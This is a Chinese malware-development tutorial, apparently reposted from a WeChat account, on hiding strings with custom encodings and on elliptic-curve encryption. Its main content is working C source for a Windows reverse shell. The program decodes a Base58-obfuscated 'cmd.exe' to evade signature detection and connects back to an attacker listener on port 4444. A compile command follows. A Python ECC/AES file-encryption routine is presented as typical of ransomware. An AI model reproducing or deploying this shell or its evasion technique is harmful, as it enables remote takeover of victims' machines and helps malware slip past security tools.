【MalDev-17】自定义加密算法及椭圆曲线

admin 2025年1月7日10:23:52评论4 views字数 5496阅读18分19秒阅读模式

03-自定义加密算法

常见的哈希算法如Caesar, Base64, MurmurHash等已经被安全研究人员盯上了,经常使用这些算法作为特征定位恶意软件,因此最好使用自定义算法或不常见算法

base58加密cmd.exe

#include<winsock2.h>
#include<string.h>
#include<stdio.h>
#include<stdlib.h>

constchar * const ALPHABET =
"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
constchar ALPHABET_MAP[128] = {
-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1,
-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1,
-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1,
-1,  0,  1,  2,  3,  4,  5,  6,  7,  8-1-1-1-1-1-1,
-1,  910111213141516-11718192021-1,
2223242526272829303132-1-1-1-1-1,
-13334353637383940414243-1444546,
4748495051525354555657-1-1-1-1-1
};

intbase58encode(constunsignedchar* input, int len, unsignedchar result[]){
unsignedchar digits[len * 137 / 100];
int digitslen = 1;
for (int i = 0; i < len; i++) {
unsignedint carry = (unsignedint) input[i];
for (int j = 0; j < digitslen; j++) {
      carry += (unsignedint) (digits[j]) << 8;
      digits[j] = (unsignedchar) (carry % 58);
      carry /= 58;
    }
while (carry > 0) {
      digits[digitslen++] = (unsignedchar) (carry % 58);
      carry /= 58;
    }
  }
int resultlen = 0;
// leading zero bytes
for (; resultlen < len && input[resultlen] == 0;)
    result[resultlen++] = '1';
// reverse
for (int i = 0; i < digitslen; i++)
    result[resultlen + i] = ALPHABET[digits[digitslen - 1 - i]];
  result[digitslen + resultlen] = 0;
return digitslen + resultlen;
}

intbase58decode(
unsignedcharconst* input, int len, unsignedchar *result)
{
  result[0] = 0;
int resultlen = 1;
for (int i = 0; i < len; i++) {
unsignedint carry = (unsignedint) ALPHABET_MAP[input[i]];
for (int j = 0; j < resultlen; j++) {
      carry += (unsignedint) (result[j]) * 58;
      result[j] = (unsignedchar) (carry & 0xff);
      carry >>= 8;
    }
while (carry > 0) {
      result[resultlen++] = (unsignedint) (carry & 0xff);
      carry >>= 8;
    }
  }

for (int i = 0; i < len && input[i] == '1'; i++)
    result[resultlen++] = 0;

for (int i = resultlen - 1, z = (resultlen >> 1) + (resultlen & 1);
    i >= z; i--) {
int k = result[i];
    result[i] = result[resultlen - i - 1];
    result[resultlen - i - 1] = k;
  }
return resultlen;
}

intmain(){  
unsignedchar encoded[] = "4mY3dzArmJ";
unsignedchar decoded[16];
int dlen = strlen(encoded);
base58decode(encoded, dlen, decoded);
printf("%sn", decoded); // "cmd.exe"

  WSADATA wsaData;
  SOCKET wSock;
structsockaddr_in hax;
  STARTUPINFO sui;
  PROCESS_INFORMATION pi;

// listener ip, port on attacker's machine
char *ip = "192.168.136.131";
short port = 4444;

// init socket lib
WSAStartup(MAKEWORD(22), &wsaData);

// create socket
  wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL00);

  hax.sin_family = AF_INET;
  hax.sin_port = htons(port);
  hax.sin_addr.s_addr = inet_addr(ip);

// connect to remote host
WSAConnect(wSock, (SOCKADDR *)&hax, sizeof(hax), NULLNULLNULLNULL);

memset(&sui, 0sizeof(sui));
  sui.cb = sizeof(sui);
  sui.dwFlags = STARTF_USESTDHANDLES;
  sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)wSock;

// start the decoded command with redirected streams
CreateProcess(NULL, decoded, NULLNULL, TRUE, 0NULLNULL, &sui, &pi);
exit(0);

return0;
}

编译

x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -lws2_32

运行

 .hack.exe
cmd.exe
【MalDev-17】自定义加密算法及椭圆曲线

04-椭圆曲线ECC算法

基于“单向”数学问题,在一个方向上很简单,但在另一个方向上很困难,例如RSA是分解素数,ECC则是计算y 2 = x 3 + ax + b

【MalDev-17】自定义加密算法及椭圆曲线

C语言在不使用第三方库情况下实现ECC算法比较麻烦,这里使用python和第三方库tinyec实现ECC算法

安装库

sudo pip3 install pycryptodome
sudo pip3 install tinyec
from tinyec import registry
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
# 导入头文件

# 生成key对
def generate_keypair(curve):
    private_key =
int.from_bytes(get_random_bytes(32), byteorder="big") % curve.field.n
    public_key = private_key * curve.g
return private_key, public_key

def derive_shared_secret(private_key, public_key):
    shared_secret = private_key * public_key
returnint.from_bytes(shared_secret.x.to_bytes(32, byteorder="big"), byteorder="big")

def encrypt_file(filename, shared_secret):
    key = shared_secret.to_bytes(32, byteorder="big")
    cipher = AES.new(key, AES.MODE_EAX)

    with open(filename, "rb") as file:
        plaintext = file.read()
        ciphertext, tag = cipher.encrypt_and_digest(plaintext)

    with open(filename + ".enc""wb") as file:
        file.write(cipher.nonce)
        file.write(tag)
        file.write(ciphertext)

def decrypt_file(filename, shared_secret):
    key = shared_secret.to_bytes(32, byteorder="big")

    with open(filename, "rb") as file:
        nonce = file.read(16)
        tag = file.read(16)
        ciphertext = file.read()

    cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
    plaintext = cipher.decrypt_and_verify(ciphertext, tag)

    with open(filename.replace(".enc""_decrypted.txt"), "wb") as file:
        file.write(plaintext)

if __name__ == "__main__":
    # 使用 secp256r1 曲线 Using secp256r1 curve (P-256)
    curve = registry.get_curve("secp256r1")

    # 生成key对 Alice generates key pair
    alice_private_key, alice_public_key = generate_keypair(curve)

    # Bob generates key pair
    bob_private_key, bob_public_key = generate_keypair(curve)

    # Alice derives shared secret from Bob's public key
    alice_shared_secret = derive_shared_secret(alice_private_key, bob_public_key)

    # Bob derives shared secret from Alice'
public key
    bob_shared_secret = derive_shared_secret(bob_private_key, alice_public_key)

    # Encrypt and decrypt a sample file using the shared secrets
    sample_file = "sample.txt"
    with open(sample_file, "w") as file:
        file.write("Malware Development for Ethical Hackers =^..^=")

encrypt_file(sample_file, alice_shared_secret)
decrypt_file(sample_file + ".enc", bob_shared_secret)

简单来看就是公私钥加解密过程,运行

python3 hack.py
【MalDev-17】自定义加密算法及椭圆曲线

将sample.txt加密后解密,经常在勒索软件中使用

配套实验环境和电子书加Q拉群下载

【MalDev-17】自定义加密算法及椭圆曲线

原文始发于微信公众号(高级红队专家):【MalDev-17】自定义加密算法及椭圆曲线

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月7日10:23:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【MalDev-17】自定义加密算法及椭圆曲线http://cn-sec.com/archives/3599949.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息